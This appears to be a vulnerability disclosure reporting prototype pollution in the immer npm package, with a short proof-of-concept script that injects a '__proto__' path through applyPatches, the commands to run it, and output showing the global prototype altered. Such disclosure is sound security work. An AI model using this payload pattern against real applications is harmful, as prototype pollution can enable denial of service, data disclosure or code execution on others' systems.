✍️ Description

immer package is vulnerable to Prototype Pollution.

🕵️‍♂️ Proof of Concept

Create the following PoC file:

// poc.js
const immer = require("immer");
immer.enablePatches();
let obj = {};
const patch = [{ op: 'add', path: [["__proto__"],"polluted"], value: "Yes! Its Polluted"}];
console.log("Before : " + {}.polluted);
immer.applyPatches(obj , patch);
console.log("After : " + {}.polluted);

Execute the following commands in terminal:

npm i immer # Install affected module
node poc.js #  Run the PoC

Check the Output:

Before : undefined
After : Yes! Its Polluted

💥 Impact

It may lead to Information Disclosure/DoS/RCE.